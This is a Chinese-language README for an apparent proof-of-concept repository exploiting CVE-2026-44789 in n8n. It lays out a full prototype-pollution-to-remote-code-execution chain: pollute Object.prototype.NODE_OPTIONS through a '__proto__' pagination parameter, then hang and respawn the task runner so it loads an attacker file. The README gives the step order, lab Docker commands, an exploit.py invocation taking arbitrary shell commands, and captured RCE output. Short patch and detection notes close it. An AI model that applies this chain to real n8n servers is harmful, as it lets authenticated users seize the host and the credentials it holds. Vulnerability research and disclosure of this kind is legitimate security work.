
CVE-2026-44789 — n8n <1.123.43 HTTP 请求分页中的原型污染导致远程代码执行(NODE_OPTIONS runner-spawn gadget)。实验室 + 自动化 PoC,端到端验证。
| CVE | CVE-2026-44789 |
| 公告 | GHSA-c8xv-5998-g76h |
| 受影响版本 | < 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1 |
| 修复版本 | 1.123.43 / 2.20.7 / 2.22.1 |
| 漏洞类别 | CWE-1321(原型污染)→ CWE-94(RCE) |
| CVSS 评分 | 9.4(CVSS 4.0)/ 严重 |
| 认证要求 | 已认证(工作流创建/修改权限) |
| 状态 | 已确认 — 已在 n8nio/n8n:1.123.42 上端到端完整复现 |
公开公告仅指出该污染*“结合其他技术可能导致 RCE”*,但未披露利用链。本仓库记录并自动化实现了一条具体、经过验证的原型污染→RCE 链。
packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts,分页模式 updateAParameterInEachRequest:
paginationData.request[parameter.type]![parameterName] = parameterValue;
parameter.type、parameterName 和 parameterValue 均来自工作流 JSON(攻击者可控)。当 parameter.type = "__proto__" 时,paginationData.request["__proto__"] 解析为 Object.prototype,因此该赋值将 Object.prototype[parameterName] = parameterValue 写入——这是 n8n 服务端进程中的全局原型污染。
修复方式为使用 Object.create(null) 创建 paginationData.request,这样 ["__proto__"] 只是一个普通(null 原型)键,而非原型。
packages/cli/src/task-runners/task-runner-process-js.ts 生成 JS 任务运行器:
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
Node 的 normalizeSpawnArguments 通过 for (const key in env) 构建子进程环境,该循环会枚举继承的可枚举属性。因此污染 Object.prototype.NODE_OPTIONS = "--require=/path/evil.js" 会泄漏到生成的运行器环境中。子进程是 node,它会遵守 NODE_OPTIONS,从而在启动时 --require 攻击者的文件 → 在代码节点沙箱之外、以 n8n 服务用户身份执行代码。
运行器在启动时被创建,但其生命周期会在进程退出时重新生成(onProcessExit → start())。攻击者通过在污染之前挂起运行器(用代码节点造成任务超时/OOM 杀死它),强制在污染后重新生成。
exploit.py 的操作步骤)1. 通过 Set → Convert to File → Read/Write Files 节点写入 /tmp/evil.js
2. 通过一个代码节点 ( while(true){} ) 挂起运行器 [在污染之前]
3. 通过 HTTP 请求节点 ( type="__proto__" ) 污染 Object.prototype.NODE_OPTIONS
4. 被挂起的运行器超时 → 主进程重新生成 'node' → 继承 NODE_OPTIONS
→ require('/tmp/evil.js') → RCE
顺序很关键:污染使得 NODE_OPTIONS 成为 Object.prototype 上一个可枚举的 own-less 键,而这会导致 n8n 的 TypeORM 层在处理实体时(for…in 循环)出错,从而破坏工作流持久化。因此运行器必须在污染生效前就已经被挂起;重新生成时会捡起被污染的环境。
配置范围(请先阅读)。 原型污染原语在任何受影响版本上无需修改配置即可触发。而 RCE 利用链需要任务运行器,不同分支的启用方式不同:
- 受影响的 n8n 2.x(2.0.0–2.20.6,2.21.0–2.22.0): 任务运行器默认/强制启用(
N8N_RUNNERS_ENABLED已废弃 →SAFE_TO_REMOVE),因此完整 RCE 链为默认配置。- 受影响的 n8n 1.123.x(本实验镜像): 任务运行器默认关闭,因此实验设置
N8N_RUNNERS_ENABLED=true以模拟 2.x 的默认行为。N8N_RUNNERS_TASK_TIMEOUT调低仅是为了让被挂起的运行器重新生成更快触发——并非漏洞必要条件。
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42,启用运行器以模拟 2.x
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# 命令输出在 n8n 主机上显示:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
# <hostname>
exploit.py 仅使用 Python 标准库,并端到端驱动 n8n REST API(管理员设置/登录 → 部署工作流 → 触发链)。
观察到:
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
uid=1000(node) 是运行器的服务账户,输出是实时的 id/uname 状态——真实执行,而非输入回显。
任何能够创建或修改工作流的已认证用户都可在 n8n 主机上执行操作系统命令,绕过代码节点沙箱——完全攻陷自动化服务器及其能够访问的凭据/系统。
Object.create(null) 构建,阻止 __proto__ 写入)。--disable-proto=delete / --disallow-code-generation-from-strings 进行加固,但这些措施保护的是运行器,而非污染发生所在的主进程。标记那些 HTTP 请求分页参数的 type 值为 __proto__ / constructor / prototype 的工作流,以及在 n8n/TypeORM 日志中出现 NODE_OPTIONS 作为实体属性错误的情况。
参见 ANALYSIS.md 了解原语细节、Node 的 for…in 环境行为、运行器生命周期以及补丁分析。